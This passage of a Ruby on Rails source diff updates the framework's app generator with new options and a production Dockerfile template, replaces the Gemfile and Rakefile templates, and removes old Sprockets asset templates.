-      template "config/databases/#{options[:database]}.yml", "config/database.yml"
+      template database.template, "config/database.yml"
     end
 
     def db
@@ -127,7 +222,6 @@ def db
     def lib
       empty_directory "lib"
       empty_directory_with_keep_file "lib/tasks"
-      empty_directory_with_keep_file "lib/assets"
     end
 
     def log
@@ -135,11 +229,21 @@ def log
     end
 
     def public_directory
+      return if options[:update] && options[:api]
+
       directory "public", "public", recursive: false
     end
 
+    def script
+      empty_directory_with_keep_file "script"
+    end
+
+    def storage
+      empty_directory_with_keep_file "storage"
+      empty_directory_with_keep_file "tmp/storage"
+    end
+
     def test
-      empty_directory_with_keep_file "test/fixtures"
       empty_directory_with_keep_file "test/fixtures/files"
       empty_directory_with_keep_file "test/controllers"
       empty_directory_with_keep_file "test/mailers"
@@ -150,63 +254,128 @@ def test
       template "test/test_helper.rb"
     end
 
+    def system_test
+      if devcontainer? && depends_on_system_test?
+        empty_directory_with_keep_file "test/system"
+        template "test/application_system_test_case.rb"
+      end
+    end
+
     def tmp
       empty_directory_with_keep_file "tmp"
-      empty_directory "tmp/cache"
-      empty_directory "tmp/cache/assets"
+      empty_directory_with_keep_file "tmp/pids"
     end
 
     def vendor
       empty_directory_with_keep_file "vendor"
+    end
 
-      unless options[:skip_yarn]
-        template "package.json", "vendor/package.json"
-      end
+    def config_target_version
+      @config_target_version || Rails::VERSION::STRING.to_f
+    end
+
+    def devcontainer
+      devcontainer_options = {
+        database: options[:database],
+        redis: options[:skip_solid] && !(options[:skip_action_cable] && options[:skip_active_job]),
+        kamal: !options[:skip_kamal],
+        system_test: depends_on_system_test?,
+        active_storage: !options[:skip_active_storage],
+        dev: options[:dev],
+        node: using_node?,
+        app_name: app_name,
+        app_folder: File.basename(app_path),
+        skip_solid: options[:skip_solid],
+        pretend: options[:pretend]
+      }
+      Rails::Generators::DevcontainerGenerator.new([], devcontainer_options).invoke_all
     end
   end
 
   module Generators
-    # We need to store the RAILS_DEV_PATH in a constant, otherwise the path
-    # can change in Ruby 1.8.7 when we FileUtils.cd.
-    RAILS_DEV_PATH = File.expand_path("../../../../../..", File.dirname(__FILE__))
-    RESERVED_NAMES = %w[application destroy plugin runner test]
+    class AppGenerator < AppBase
+      # :stopdoc:
 
-    class AppGenerator < AppBase # :nodoc:
       add_shared_options_for "application"
 
-      # Add bin/rails options
-      class_option :version, type: :boolean, aliases: "-v", group: :rails,
-                             desc: "Show Rails version number and quit"
+      # Add rails command options
+      class_option :version, type: :boolean, aliases: "-v", group: :rails, desc: "Show Rails version number and quit"
+      class_option :api, type: :boolean, desc: "Preconfigure smaller stack for API only apps"
+      class_option :minimal, type: :boolean, desc: "Preconfigure a minimal rails app"
+      class_option :javascript, type: :string, aliases: ["-j", "--js"], default: "importmap", enum: JAVASCRIPT_OPTIONS, desc: "Choose JavaScript approach"
+      class_option :css, type: :string, aliases: "-c", enum: CSS_OPTIONS, desc: "Choose CSS processor. Check https://github.com/rails/cssbundling-rails for more options"
+      class_option :skip_bundle, type: :boolean, aliases: "-B", default: nil, desc: "Don't run bundle install"
+      class_option :skip_decrypted_diffs, type: :boolean, default: nil, desc: "Don't configure git to show decrypted diffs of encrypted credentials"
+
+      OPTION_IMPLICATIONS = # :nodoc:
+        AppBase::OPTION_IMPLICATIONS.merge(
+          skip_git: [:skip_decrypted_diffs],
+          minimal: [
+            :skip_action_cable,
+            :skip_action_mailbox,
+            :skip_action_mailer,
+            :skip_action_text,
+            :skip_active_job,
+            :skip_active_storage,
+            :skip_bootsnap,
+            :skip_brakeman,
+            :skip_bundler_audit,
+            :skip_ci,
+            :skip_dev_gems,
+            :skip_docker,
+            :skip_hotwire,
+            :skip_javascript,
+            :skip_jbuilder,
+            :skip_kamal,
+            :skip_rubocop,
+            :skip_solid,
+            :skip_system_test,
+            :skip_thruster
+          ],
+          api: [
+            :skip_asset_pipeline,
+            :skip_javascript,
+          ],
+        ) do |option, implications, more_implications|
+          implications + more_implications
+        end
 
-      class_option :api, type: :boolean,
-                         desc: "Preconfigure smaller stack for API only apps"
+      META_OPTIONS = [:minimal] # :nodoc:
 
-      class_option :skip_bundle, type: :boolean, aliases: "-B", default: false,
-                                 desc: "Don't run bundle install"
+      def self.apply_rails_template(template, destination) # :nodoc:
+        generator = new([destination], { template: template }, { destination_root: destination })
+        generator.set_default_accessors!
+        generator.apply_rails_template
+        generator.run_bundle
+        generator.run_after_bundle_callbacks
+      end
 
       def initialize(*args)
         super
 
-        if !options[:skip_active_record] && !DATABASES.include?(options[:database])
-          raise Error, "Invalid value for --database option. Supported for preconfiguration are: #{DATABASES.join(", ")}."
-        end
+        imply_options(OPTION_IMPLICATIONS, meta_options: META_OPTIONS)
 
-        # Force sprockets and yarn to be skipped when generating API only apps.
-        # Can't modify options hash as it's frozen by default.
-        if options[:api]
-          self.options = options.merge(skip_sprockets: true, skip_javascript: true, skip_yarn: true).freeze
-        end
+        @after_bundle_callbacks = []
       end
 
+      public_task :report_implied_options
       public_task :set_default_accessors!
       public_task :create_root
+      public_task :target_rails_prerelease
 
       def create_root_files
         build(:readme)
         build(:rakefile)
+        build(:node_version) if using_node?
+        build(:ruby_version)
         build(:configru)
-        build(:gitignore)   unless options[:skip_git]
-        build(:gemfile)     unless options[:skip_gemfile]
+
+        unless options[:skip_git]
+          build(:gitignore)
+          build(:gitattributes)
+        end
+
+        build(:gemfile)
         build(:version_control)
       end
 
@@ -218,6 +387,33 @@ def create_bin_files
         build(:bin)
       end
 
+      def update_bin_files
+        build(:bin_when_updating)
+      end
+      remove_task :update_bin_files
+
+      def update_active_storage
+        unless skip_active_storage?
+          rails_command "active_storage:update", inline: true
+        end
+      end
+      remove_task :update_active_storage
+
+      def create_dockerfiles
+        return if options[:skip_docker] || options[:dummy_app]
+        build(:dockerfiles)
+      end
+
+      def create_rubocop_file
+        return if skip_rubocop?
+        build(:rubocop)
+      end
+
+      def create_cifiles
+        return if skip_ci?
+        build(:cifiles)
+      end
+
       def create_config_files
         build(:config)
       end
@@ -227,10 +423,14 @@ def update_config_files
       end
       remove_task :update_config_files
 
-      def display_upgrade_guide_info
-        say "\nAfter this, check Rails upgrade guide at http://guides.rubyonrails.org/upgrading_ruby_on_rails.html for more details about upgrading your app."
+      def create_master_key
+        build(:master_key)
+      end
+
+      def create_credentials
+        build(:credentials)
+        build(:credentials_diff_enroll)
       end
-      remove_task :display_upgrade_guide_info
 
       def create_boot_file
         template "config/boot.rb"
@@ -258,8 +458,9 @@ def create_public_files
         build(:public_directory)
       end
 
-      def create_test_files
-        build(:test) unless options[:skip_test]
+      def create_script_folder
+        return if options[:dummy_app]
+        build(:script)
       end
 
       def create_tmp_files
@@ -268,17 +469,28 @@ def create_tmp_files
 
       def create_vendor_files
         build(:vendor)
+      end
 
-        if options[:skip_yarn]
-          remove_file "vendor/package.json"
-        end
+      def create_test_files
+        build(:test) unless options[:skip_test]
+      end
+
+      def create_system_test_files
+        build(:system_test)
+      end
+
+      def create_storage_files
+        build(:storage) unless skip_storage?
+      end
+
+      def create_devcontainer_files
+        return if skip_devcontainer? || options[:dummy_app]
+        build(:devcontainer)
       end
 
       def delete_app_assets_if_api_option
         if options[:api]
           remove_dir "app/assets"
-          remove_dir "lib/assets"
-          remove_dir "tmp/cache/assets"
         end
       end
 
@@ -289,32 +501,34 @@ def delete_app_helpers_if_api_option
         end
       end
 
-      def delete_application_layout_file_if_api_option
+      def delete_app_views_if_api_option
         if options[:api]
-          remove_file "app/views/layouts/application.html.erb"
+          if options[:skip_action_mailer]
+            remove_dir "app/views"
+          else
+            remove_file "app/views/layouts/application.html.erb"
+            remove_dir  "app/views/pwa"
+          end
         end
       end
 
       def delete_public_files_if_api_option
         if options[:api]
+          remove_file "public/400.html"
           remove_file "public/404.html"
+          remove_file "public/406-unsupported-browser.html"
           remove_file "public/422.html"
           remove_file "public/500.html"
-          remove_file "public/apple-touch-icon-precomposed.png"
-          remove_file "public/apple-touch-icon.png"
-          remove_file "public/favicon.ico"
-        end
-      end
-
-      def delete_js_folder_skipping_javascript
-        if options[:skip_javascript]
-          remove_dir "app/assets/javascripts"
+          remove_file "public/icon.png"
+          remove_file "public/icon.svg"
         end
       end
 
-      def delete_assets_initializer_skipping_sprockets
-        if options[:skip_sprockets]
+      def delete_assets_initializer_skipping_asset_pipeline
+        if skip_asset_pipeline?
           remove_file "config/initializers/assets.rb"
+          remove_file "app/assets/stylesheets/application.css"
+          create_file "app/assets/stylesheets/application.css", "/* Application styles */\n" unless options[:api]
         end
       end
 
@@ -324,6 +538,12 @@ def delete_application_record_skipping_active_record
         end
       end
 
+      def delete_active_job_folder_if_skipping_active_job
+        if options[:skip_active_job]
+          remove_dir "app/jobs"
+        end
+      end
+
       def delete_action_mailer_files_skipping_action_mailer
         if options[:skip_action_mailer]
           remove_file "app/views/layouts/mailer.html.erb"
@@ -335,15 +555,13 @@ def delete_action_mailer_files_skipping_action_mailer
 
       def delete_action_cable_files_skipping_action_cable
         if options[:skip_action_cable]
-          remove_file "config/cable.yml"
-          remove_file "app/assets/javascripts/cable.js"
-          remove_dir "app/channels"
+          remove_dir "app/javascript/channels"
         end
       end
 
       def delete_non_api_initializers_if_api_option
         if options[:api]
-          remove_file "config/initializers/cookies_serializer.rb"
+          remove_file "config/initializers/content_security_policy.rb"
         end
       end
 
@@ -353,16 +571,24 @@ def delete_api_initializers
         end
       end
 
-      def delete_bin_yarn_if_skip_yarn_option
-        remove_file "bin/yarn" if options[:skip_yarn]
+      def delete_new_framework_defaults
+        unless options[:update]
+          remove_file "config/initializers/new_framework_defaults_#{Rails::VERSION::MAJOR}_#{Rails::VERSION::MINOR}.rb"
+        end
       end
 
       def finish_template
         build(:leftovers)
       end
 
-      public_task :apply_rails_template, :run_bundle
-      public_task :run_webpack, :generate_spring_binstubs
+      public_task :apply_rails_template
+      public_task :run_bundle
+      public_task :add_bundler_platforms
+      public_task :run_javascript
+      public_task :run_hotwire
+      public_task :run_css
+      public_task :run_kamal
+      public_task :run_solid
 
       def run_after_bundle_callbacks
         @after_bundle_callbacks.each(&:call)
@@ -372,65 +598,22 @@ def self.banner
         "rails new #{arguments.map(&:usage).join(' ')} [options]"
       end
 
-    private
+    # :startdoc:
 
+    private
       # Define file as an alias to create_file for backwards compatibility.
       def file(*args, &block)
         create_file(*args, &block)
       end
 
-      def app_name
-        @app_name ||= (defined_app_const_base? ? defined_app_name : File.basename(destination_root)).tr('\\', "").tr(". ", "_")
-      end
-
-      def defined_app_name
-        defined_app_const_base.underscore
-      end
-
-      def defined_app_const_base
-        Rails.respond_to?(:application) && defined?(Rails::Application) &&
-          Rails.application.is_a?(Rails::Application) && Rails.application.class.name.sub(/::Application$/, "")
-      end
-
-      alias :defined_app_const_base? :defined_app_const_base
-
-      def app_const_base
-        @app_const_base ||= defined_app_const_base || app_name.gsub(/\W/, "_").squeeze("_").camelize
-      end
-      alias :camelized :app_const_base
-
-      def app_const
-        @app_const ||= "#{app_const_base}::Application"
-      end
-
-      def valid_const?
-        if app_const =~ /^\d/
-          raise Error, "Invalid application name #{app_name}. Please give a name which does not start with numbers."
-        elsif RESERVED_NAMES.include?(app_name)
-          raise Error, "Invalid application name #{app_name}. Please give a " \
-                       "name which does not match one of the reserved rails " \
-                       "words: #{RESERVED_NAMES.join(", ")}"
-        elsif Object.const_defined?(app_const_base)
-          raise Error, "Invalid application name #{app_name}, constant #{app_const_base} is already in use. Please choose another application name."
-        end
-      end
-
-      def app_secret
-        SecureRandom.hex(64)
-      end
-
-      def mysql_socket
-        @mysql_socket ||= [
-          "/tmp/mysql.sock",                        # default
-          "/var/run/mysqld/mysqld.sock",            # debian/gentoo
-          "/var/tmp/mysql.sock",                    # freebsd
-          "/var/lib/mysql/mysql.sock",              # fedora
-          "/opt/local/lib/mysql/mysql.sock",        # fedora
-          "/opt/local/var/run/mysqld/mysqld.sock",  # mac + darwinports + mysql
-          "/opt/local/var/run/mysql4/mysqld.sock",  # mac + darwinports + mysql4
-          "/opt/local/var/run/mysql5/mysqld.sock",  # mac + darwinports + mysql5
-          "/opt/lampp/var/mysql/mysql.sock"         # xampp for linux
-        ].find { |f| File.exist?(f) } unless Gem.win_platform?
+      # Registers a callback to be executed after bundle binstubs
+      # have run.
+      #
+      #   after_bundle do
+      #     git add: '.'
+      #   end
+      def after_bundle(&block) # :doc:
+        @after_bundle_callbacks << block
       end
 
       def get_builder_class
@@ -458,11 +641,16 @@ def prepare!
       end
 
       def self.default_rc_file
-        File.expand_path("~/.railsrc")
+        xdg_config_home = ENV["XDG_CONFIG_HOME"].presence || "~/.config"
+        xdg_railsrc = File.expand_path("rails/railsrc", xdg_config_home)
+        if File.exist?(xdg_railsrc)
+          xdg_railsrc
+        else
+          File.expand_path("~/.railsrc")
+        end
       end
 
       private
-
         def handle_version_request!(argument)
           if ["--version", "-v"].include?(argument)
             require "rails/version"
@@ -497,7 +685,7 @@ def railsrc(argv)
         end
 
         def read_rc_file(railsrc)
-          extra_args = File.readlines(railsrc).flat_map(&:split)
+          extra_args = File.readlines(railsrc).flat_map.each { |line| line.split("#", 2).first.split }
           puts "Using #{extra_args.join(" ")} from #{railsrc}"
           extra_args
         end
diff --git a/railties/lib/rails/generators/rails/app/templates/Dockerfile.tt b/railties/lib/rails/generators/rails/app/templates/Dockerfile.tt
new file mode 100644
index 0000000000000..8fce7d5510720
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/Dockerfile.tt
@@ -0,0 +1,131 @@
+# syntax=docker/dockerfile:1
+# check=error=true
+
+# This Dockerfile is designed for production, not development. Use with Kamal or build'n'run by hand:
+# docker build -t <%= app_name %> .
+# docker run -d -p 80:<%= skip_thruster? ? 3000 : 80 %> -e RAILS_MASTER_KEY=<value from config/master.key> --name <%= app_name %> <%= app_name %>
+
+# For a containerized dev environment, see Dev Containers: https://guides.rubyonrails.org/getting_started_with_devcontainer.html
+
+# Make sure RUBY_VERSION matches the Ruby version in .ruby-version
+ARG RUBY_VERSION=<%= Gem.ruby_version %>
+FROM docker.io/library/ruby:$RUBY_VERSION-slim AS base
+
+# Rails app lives here
+WORKDIR /rails
+
+# Install base packages
+RUN apt-get update -qq && \
+    apt-get install --no-install-recommends -y <%= dockerfile_base_packages.join(" ") %> && \
+    ln -s /usr/lib/$(uname -m)-linux-gnu/libjemalloc.so.2 /usr/local/lib/libjemalloc.so && \
+    rm -rf /var/lib/apt/lists /var/cache/apt/archives
+
+# Set production environment variables and enable jemalloc for reduced memory usage and latency.
+ENV RAILS_ENV="production" \
+    BUNDLE_DEPLOYMENT="1" \
+    BUNDLE_PATH="/usr/local/bundle" \
+    BUNDLE_WITHOUT="development" \
+    LD_PRELOAD="/usr/local/lib/libjemalloc.so"
+
+# Throw-away build stage to reduce size of final image
+FROM base AS build
+
+# Install packages needed to build gems<%= (using_node? || using_bun?) ? " and node modules" : "" %>
+RUN apt-get update -qq && \
+    apt-get install --no-install-recommends -y <%= dockerfile_build_packages.join(" ") %> && \
+    rm -rf /var/lib/apt/lists /var/cache/apt/archives
+
+<% if using_node? -%>
+# Install JavaScript dependencies
+ARG NODE_VERSION=<%= node_version %>
+ARG YARN_VERSION=<%= dockerfile_yarn_version %>
+ENV PATH=/usr/local/node/bin:$PATH
+<% if yarn_through_corepack? -%>
+RUN curl -sL https://github.com/nodenv/node-build/archive/master.tar.gz | tar xz -C /tmp/ && \
+    /tmp/node-build-master/bin/node-build "${NODE_VERSION}" /usr/local/node && \
+    rm -rf /tmp/node-build-master
+RUN corepack enable && yarn set version $YARN_VERSION
+<% else -%>
+RUN curl -sL https://github.com/nodenv/node-build/archive/master.tar.gz | tar xz -C /tmp/ && \
+    /tmp/node-build-master/bin/node-build "${NODE_VERSION}" /usr/local/node && \
+    npm install -g yarn@$YARN_VERSION && \
+    rm -rf /tmp/node-build-master
+<% end -%>
+
+<% end -%>
+<% if using_bun? -%>
+ENV BUN_INSTALL=/usr/local/bun
+ENV PATH=/usr/local/bun/bin:$PATH
+ARG BUN_VERSION=<%= dockerfile_bun_version %>
+RUN curl -fsSL https://bun.sh/install | bash -s -- "bun-v${BUN_VERSION}"
+
+<% end -%>
+# Install application gems
+COPY vendor/* ./vendor/
+COPY Gemfile Gemfile.lock ./
+
+RUN bundle install && \
+    rm -rf ~/.bundle/ "${BUNDLE_PATH}"/ruby/*/cache "${BUNDLE_PATH}"/ruby/*/bundler/gems/*/.git<% if depend_on_bootsnap? -%> && \
+    # -j 1 disable parallel compilation to avoid a QEMU bug: https://github.com/rails/bootsnap/issues/495
+    bundle exec bootsnap precompile -j 1 --gemfile<% end %>
+
+<% if using_node? -%>
+# Install node modules
+COPY package.json yarn.lock ./
+RUN yarn install --immutable
+
+<% end -%>
+<% if using_bun? -%>
+# Install node modules
+COPY package.json bun.lock* ./
+RUN bun install --frozen-lockfile
+
+<% end -%>
+# Copy application code
+COPY . .
+
+<% if depend_on_bootsnap? -%>
+# Precompile bootsnap code for faster boot times.
+# -j 1 disable parallel compilation to avoid a QEMU bug: https://github.com/rails/bootsnap/issues/495
+RUN bundle exec bootsnap precompile -j 1 app/ lib/
+
+<% end -%>
+<% unless dockerfile_binfile_fixups.empty? -%>
+# Adjust binfiles to be executable on Linux
+<%= "RUN " + dockerfile_binfile_fixups.join(" && \\\n    ") %>
+
+<% end -%>
+<% unless options.api? || skip_asset_pipeline? -%>
+# Precompiling assets for production without requiring secret RAILS_MASTER_KEY
+RUN SECRET_KEY_BASE_DUMMY=1 ./bin/rails assets:precompile
+
+<% end -%>
+
+<% if using_node? || using_bun? -%>
+RUN rm -rf node_modules
+<% end %>
+
+# Final stage for app image
+FROM base
+
+# Run and own only the runtime files as a non-root user for security
+RUN groupadd --system --gid 1000 rails && \
+    useradd rails --uid 1000 --gid 1000 --create-home --shell /bin/bash
+USER 1000:1000
+
+# Copy built artifacts: gems, application
+COPY --chown=rails:rails --from=build "${BUNDLE_PATH}" "${BUNDLE_PATH}"
+COPY --chown=rails:rails --from=build /rails /rails
+
+# Entrypoint prepares the database.
+ENTRYPOINT ["/rails/bin/docker-entrypoint"]
+
+<% if skip_thruster? -%>
+# Start the server by default, this can be overwritten at runtime
+EXPOSE 3000
+CMD ["./bin/rails", "server"]
+<% else -%>
+# Start server via Thruster by default, this can be overwritten at runtime
+EXPOSE 80
+CMD ["./bin/thrust", "./bin/rails", "server"]
+<% end -%>
diff --git a/railties/lib/rails/generators/rails/app/templates/Gemfile b/railties/lib/rails/generators/rails/app/templates/Gemfile
deleted file mode 100644
index 24d2fa1284e62..0000000000000
--- a/railties/lib/rails/generators/rails/app/templates/Gemfile
+++ /dev/null
@@ -1,60 +0,0 @@
-source 'https://rubygems.org'
-
-git_source(:github) do |repo_name|
-  repo_name = "#{repo_name}/#{repo_name}" unless repo_name.include?("/")
-  "https://github.com/#{repo_name}.git"
-end
-
-<% gemfile_entries.each do |gem| -%>
-<% if gem.comment -%>
-
-# <%= gem.comment %>
-<% end -%>
-<%= gem.commented_out ? '# ' : '' %>gem '<%= gem.name %>'<%= %(, '#{gem.version}') if gem.version -%>
-<% if gem.options.any? -%>
-, <%= gem.options.map { |k,v|
-  "#{k}: #{v.inspect}" }.join(', ') %>
-<% end -%>
-<% end -%>
-
-# Use ActiveModel has_secure_password
-# gem 'bcrypt', '~> 3.1.7'
-
-# Use Capistrano for deployment
-# gem 'capistrano-rails', group: :development
-
-<%- if options.api? -%>
-# Use Rack CORS for handling Cross-Origin Resource Sharing (CORS), making cross-origin AJAX possible
-# gem 'rack-cors'
-
-<%- end -%>
-<% if RUBY_ENGINE == 'ruby' -%>
-group :development, :test do
-  # Call 'byebug' anywhere in the code to stop execution and get a debugger console
-  gem 'byebug', platforms: [:mri, :mingw, :x64_mingw]
-end
-
-group :development do
-<%- unless options.api? -%>
-  # Access an IRB console on exception pages or by using <%%= console %> anywhere in the code.
-  <%- if options.dev? || options.edge? -%>
-  gem 'web-console', github: 'rails/web-console'
-  <%- else -%>
-  gem 'web-console', '>= 3.3.0'
-  <%- end -%>
-<%- end -%>
-<% if depend_on_listen? -%>
-  gem 'listen', '>= 3.0.5', '< 3.2'
-<% end -%>
-<% if spring_install? -%>
-  # Spring speeds up development by keeping your application running in the background. Read more: https://github.com/rails/spring
-  gem 'spring'
-<% if depend_on_listen? -%>
-  gem 'spring-watcher-listen', '~> 2.0.0'
-<% end -%>
-<% end -%>
-end
-<% end -%>
-
-# Windows does not include zoneinfo files, so bundle the tzinfo-data gem
-gem 'tzinfo-data', platforms: [:mingw, :mswin, :x64_mingw, :jruby]
diff --git a/railties/lib/rails/generators/rails/app/templates/Gemfile.tt b/railties/lib/rails/generators/rails/app/templates/Gemfile.tt
new file mode 100644
index 0000000000000..737150db88856
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/Gemfile.tt
@@ -0,0 +1,88 @@
+source "https://rubygems.org"
+
+<% gemfile_entries.each do |gemfile_entry| -%>
+<%= gemfile_entry %>
+<% end -%>
+<% unless options.minimal? -%>
+
+# Use Active Model has_secure_password [https://guides.rubyonrails.org/active_model_basics.html#securepassword]
+# gem "bcrypt", "~> 3.1.7"
+<% end -%>
+
+# Windows does not include zoneinfo files, so bundle the tzinfo-data gem
+gem "tzinfo-data", platforms: %i[ windows jruby ]
+<% unless options.skip_solid? -%>
+
+<% if options.skip_action_cable? -%>
+# Use the database-backed adapters for Rails.cache and Active Job
+<% else -%>
+# Use the database-backed adapters for Rails.cache, Active Job, and Action Cable
+<% end -%>
+gem "solid_cache"
+gem "solid_queue"
+<% unless options.skip_action_cable? -%>
+gem "solid_cable"
+<% end -%>
+<% end -%>
+<% if depend_on_bootsnap? -%>
+
+# Reduces boot times through caching; required in config/boot.rb
+gem "bootsnap", require: false
+<% end -%>
+<% unless options.skip_kamal? -%>
+
+# Deploy this application anywhere as a Docker container [https://kamal-deploy.org]
+gem "kamal", require: false
+<% end -%>
+<% unless options.skip_thruster? -%>
+
+# Add HTTP asset caching/compression and X-Sendfile acceleration to Puma [https://github.com/basecamp/thruster/]
+gem "thruster", require: false
+<% end -%>
+<% unless skip_active_storage? -%>
+
+# Use Active Storage variants [https://guides.rubyonrails.org/active_storage_overview.html#transforming-images]
+gem "image_processing", "~> 1.2"
+<% end -%>
+<%- if options.api? -%>
+
+# Use Rack CORS for handling Cross-Origin Resource Sharing (CORS), making cross-origin Ajax possible
+# gem "rack-cors"
+<%- end -%>
+<% if RUBY_ENGINE == "ruby" -%>
+
+group :development, :test do
+  # See https://guides.rubyonrails.org/debugging_rails_applications.html#debugging-with-the-debug-gem
+  gem "debug", platforms: %i[ mri windows ], require: "debug/prelude"
+<%- unless options.skip_bundler_audit? -%>
+
+  # Audits gems for known security defects (use config/bundler-audit.yml to ignore issues)
+  gem "bundler-audit", require: false
+<%- end -%>
+<%- unless options.skip_brakeman? -%>
+
+  # Static analysis for security vulnerabilities [https://brakemanscanner.org/]
+  gem "brakeman", require: false
+<%- end -%>
+<%- unless options.skip_rubocop? -%>
+
+  # Omakase Ruby styling [https://github.com/rails/rubocop-rails-omakase/]
+  gem "rubocop-rails-omakase", require: false
+<%- end -%>
+end
+<% end -%>
+<%- unless options.api? || options.skip_dev_gems? -%>
+
+group :development do
+  # Use console on exceptions pages [https://github.com/rails/web-console]
+  gem "web-console"
+end
+<%- end -%>
+<%- if depends_on_system_test? -%>
+
+group :test do
+  # Use system testing [https://guides.rubyonrails.org/testing.html#system-testing]
+  gem "capybara"
+  gem "selenium-webdriver"
+end
+<%- end -%>
diff --git a/railties/lib/rails/generators/rails/app/templates/README.md b/railties/lib/rails/generators/rails/app/templates/README.md.tt
similarity index 100%
rename from railties/lib/rails/generators/rails/app/templates/README.md
rename to railties/lib/rails/generators/rails/app/templates/README.md.tt
diff --git a/railties/lib/rails/generators/rails/app/templates/Rakefile b/railties/lib/rails/generators/rails/app/templates/Rakefile
deleted file mode 100644
index e85f913914bd9..0000000000000
--- a/railties/lib/rails/generators/rails/app/templates/Rakefile
+++ /dev/null
@@ -1,6 +0,0 @@
-# Add your own tasks in files placed in lib/tasks ending in .rake,
-# for example lib/tasks/capistrano.rake, and they will automatically be available to Rake.
-
-require_relative 'config/application'
-
-Rails.application.load_tasks
diff --git a/railties/lib/rails/generators/rails/app/templates/Rakefile.tt b/railties/lib/rails/generators/rails/app/templates/Rakefile.tt
new file mode 100644
index 0000000000000..9a5ea7383aa83
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/Rakefile.tt
@@ -0,0 +1,6 @@
+# Add your own tasks in files placed in lib/tasks ending in .rake,
+# for example lib/tasks/capistrano.rake, and they will automatically be available to Rake.
+
+require_relative "config/application"
+
+Rails.application.load_tasks
diff --git a/railties/lib/rails/generators/rails/app/templates/app/assets/config/manifest.js.tt b/railties/lib/rails/generators/rails/app/templates/app/assets/config/manifest.js.tt
deleted file mode 100644
index 70b579d10e9d4..0000000000000
--- a/railties/lib/rails/generators/rails/app/templates/app/assets/config/manifest.js.tt
+++ /dev/null
@@ -1,5 +0,0 @@
-//= link_tree ../images
-<% unless options.skip_javascript -%>
-//= link_directory ../javascripts .js
-<% end -%>
-//= link_directory ../stylesheets .css
diff --git a/railties/lib/rails/generators/rails/app/templates/app/assets/javascripts/application.js.tt b/railties/lib/rails/generators/rails/app/templates/app/assets/javascripts/application.js.tt
deleted file mode 100644
index 25870f19c870d..0000000000000
--- a/railties/lib/rails/generators/rails/app/templates/app/assets/javascripts/application.js.tt
+++ /dev/null
@@ -1,22 +0,0 @@
-// This is a manifest file that'll be compiled into application.js, which will include all the files
-// listed below.
-//
-// Any JavaScript/Coffee file within this directory, lib/assets/javascripts, or any plugin's 
-// vendor/assets/javascripts directory can be referenced here using a relative path.
-//
-// It's not advisable to add code directly here, but if you do, it'll appear at the bottom of the
-// compiled file. JavaScript code in this file should be added after the last require_* statement.
-//
-// Read Sprockets README (https://github.com/rails/sprockets#sprockets-directives) for details
-// about supported directives.
-//
-<% unless options[:skip_javascript] -%>
-<% if options[:javascript] -%>
-//= require <%= options[:javascript] %>
-<% end -%>
-//= require rails-ujs
-<% unless options[:skip_turbolinks] -%>
-//= require turbolinks
-<% end -%>
-<% end -%>
-//= require_tree .
diff --git a/railties/lib/rails/generators/rails/app/templates/app/assets/javascripts/cable.js b/railties/lib/rails/generators/rails/app/templates/app/assets/javascripts/cable.js
deleted file mode 100644
index 739aa5f022071..0000000000000
--- a/railties/lib/rails/generators/rails/app/templates/app/assets/javascripts/cable.js
+++ /dev/null
@@ -1,13 +0,0 @@
-// Action Cable provides the framework to deal with WebSockets in Rails.
-// You can generate new channels where WebSocket features live using the `rails generate channel` command.
-//
-//= require action_cable
-//= require_self
-//= require_tree ./channels
-
-(function() {
-  this.App || (this.App = {});
-
-  App.cable = ActionCable.createConsumer();
-
-}).call(this);
diff --git a/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css b/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css
deleted file mode 100644
index 865300bef93d5..0000000000000
--- a/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css
+++ /dev/null
@@ -1,15 +0,0 @@
-/*
- * This is a manifest file that'll be compiled into application.css, which will include all the files
- * listed below.
- *
- * Any CSS and SCSS file within this directory, lib/assets/stylesheets, or any plugin's 
- * vendor/assets/stylesheets directory can be referenced here using a relative path.
- *
- * You're free to add application-wide styles to this file and they'll appear at the bottom of the
- * compiled file so the styles you add here take precedence over styles defined in any other CSS/SCSS
- * files in this directory. Styles in this file should be added after the last require_* statement.
- * It is generally better to create a new file per style scope.
- *
- *= require_tree .
- *= require_self
- */
diff --git a/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css.tt b/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css.tt
new file mode 100644
index 0000000000000..fe93333c0f6b9
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css.tt
@@ -0,0 +1,10 @@
+/*
+ * This is a manifest file that'll be compiled into application.css.
+ *
+ * With Propshaft, assets are served efficiently without preprocessing steps. You can still include
+ * application-wide styles in this file, but keep in mind that CSS precedence will follow the standard
+ * cascading order, meaning styles declared later in the document or manifest will override earlier ones,
+ * depending on specificity.
+ *
+ * Consider organizing styles into separate files for maintainability.
+ */
diff --git a/railties/lib/rails/generators/rails/app/templates/app/controllers/application_controller.rb.tt b/railties/lib/rails/generators/rails/app/templates/app/controllers/application_controller.rb.tt
index 413354186d447..ce0ef8d515c41 100644
--- a/railties/lib/rails/generators/rails/app/templates/app/controllers/application_controller.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/app/controllers/application_controller.rb.tt
@@ -1,5 +1,11 @@
-class ApplicationController < ActionController::<%= options[:api] ? "API" : "Base" %>
-<%- unless options[:api] -%>
-  protect_from_forgery with: :exception
-<%- end -%>
+class ApplicationController < ActionController::<%= options.api? ? "API" : "Base" %>
+<%- unless options.api? -%>
+  # Only allow modern browsers supporting webp images, web push, badges, import maps, CSS nesting, and CSS :has.
+  allow_browser versions: :modern
+<%- if using_importmap? -%>
+
+  # Changes to the importmap will invalidate the etag for HTML responses
+  stale_when_importmap_changes
+<% end -%>
+<% end -%>
 end
diff --git a/railties/lib/rails/generators/rails/app/templates/app/helpers/application_helper.rb.tt b/railties/lib/rails/generators/rails/app/templates/app/helpers/application_helper.rb.tt
new file mode 100644
index 0000000000000..de6be7945c6a5
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/app/helpers/application_helper.rb.tt
@@ -0,0 +1,2 @@
+module ApplicationHelper
+end
diff --git a/railties/lib/rails/generators/rails/app/templates/app/jobs/application_job.rb b/railties/lib/rails/generators/rails/app/templates/app/jobs/application_job.rb
deleted file mode 100644
index a009ace51ccf4..0000000000000
